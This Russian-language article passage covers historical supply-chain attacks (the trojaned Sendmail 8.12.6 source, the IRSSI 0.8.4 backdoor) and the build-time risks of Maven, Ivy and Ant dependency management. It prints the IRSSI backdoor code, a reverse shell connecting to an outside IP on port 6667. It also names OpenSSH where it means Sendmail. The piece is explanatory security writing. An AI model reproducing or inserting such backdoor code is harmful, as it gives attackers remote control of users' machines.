Троян в Sendmail
В течении многих лет Sendmail был стандартом де
факто для почтовых серверов в Интернете. С 28 сентября по 6 октября 2002 года
взломанный сервер
ftp.sendmail.org распространял модифицированную версию исходников
Sendmail-а версии 8.12.6, содержащую троян. Взломщикам
удалось модифицировать сервер так, что попутно со своей основной работой в
процессе сборки он открывал доступ на 6667 порту для адресе 66.37.138.99.
Каждый, кто собирал Sendmail у себя на машине, получал
в нагрузку и бекдор, соответственно если компиляцией занимался администратор, то
хакер получал полный контроль над машиной.
Бекдор в IRSSI
В Мае 2002 года появилось и сообщение об обнаружении трояна в
open-source IRC клиенте IRSSI.
Версия 0.8.4 включала следующий код:
int s;
struct sockaddr_in sa;
switch(fork()) { case 0: break; default: exit(0); }
if((s = socket(AF_INET, SOCK_STREAM, 0)) == (-1)) {
exit(1);
}
/* HP/UX 9 (%#!) writes to sscanf strings */
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(6667);
sa.sin_addr.s_addr = inet_addr("204.120.36.206");
if(connect(s,(struct sockaddr *)&sa, sizeof(sa)) == (-1)) {
exit(1);
}
dup2(s, 0); dup2(s, 1); dup2(s, 2);
Он открывал доступ к компьютеру адресу 204.120.36.206.
Управление внешними зависимостями при помощи Maven, Ivy
и Ant
Выше описанные примеры показывают, что внешние компоненты могут быть
скомпрометированы взломщиками, как в случае с OpenSSH
и IRSSI. Соответственно, пользователи,
автоматически компилирующие программы с использованием внешних компонент, подвергаются особому риску. Обратим наше внимание
на то, какие средства можно использовать для управления внешними заимствованиями
и вопросы безопасности их использования.
Неуправляемые зависимости делают проект тяжелым в построении
В случае ручной сборки человек, отвечающий за нее, сам обеспечивает поставку
необходимых компонент. В некоторых случаях при сборке программ внешние связи
очень мало контролируются. Компоненты могут быть доступны из нескольких
источников, один компонент может существовать с разных версиях или поставляться
разными компаниями. В случае если есть необходимость размножить среду разработки
на несколько, неуправляемые зависимости опять же приведут лишь к проблемам.
Программисты могут загрузить компоненты из неправильного источник, загрузить
неправильную версию или вообще забыть скачать необходимые части. Любая из этих
причин может привести процессе сборки конечного проекта к краху. Для устранения
этих проблем в случае ручного управления проекты содержат все необходимые
указания на конкретные версии всех компонентов и репозиторий, откуда их
необходимо извлекать.
Рассмотрим пример, в котором два программиста (Вася и Петя) независимо
создают некую программу. Процесс их работы можно описать примерно так:
- Вася определяет все необходимые для проекта зависимости и обновляет файл с
необходимыми ссылками. - Он скачивает себе на локальный компьютер все компоненты с внешних серверов
и указывает на них билдеру. - Затем Вася собирает программу на своем локальном компьютере.
- Петя пытается расшифровать записи Васи в файле.
- Петя скачивает себе на локальный компьютер компоненты которые ему кажутся
правильными и пытается собрать проект. Шаг повторяется до тех пор, пока не
наступит удовлетворение.
Автоматическое определение внешних заимствований
В мире Java существует несколько инструментов для
проблемы описанной выше: билдеры Ant и
Maven включают функциональность по управлению внешними
компонентами, есть и Ivy - менеджер зависимостей. И
хотя есть разница в их поведении, главная цель у них одна - они позволяют
разработчикам определять внешние компоненты и автоматически получать их код во
время сборки и компиляции.
(Продолжение следует)
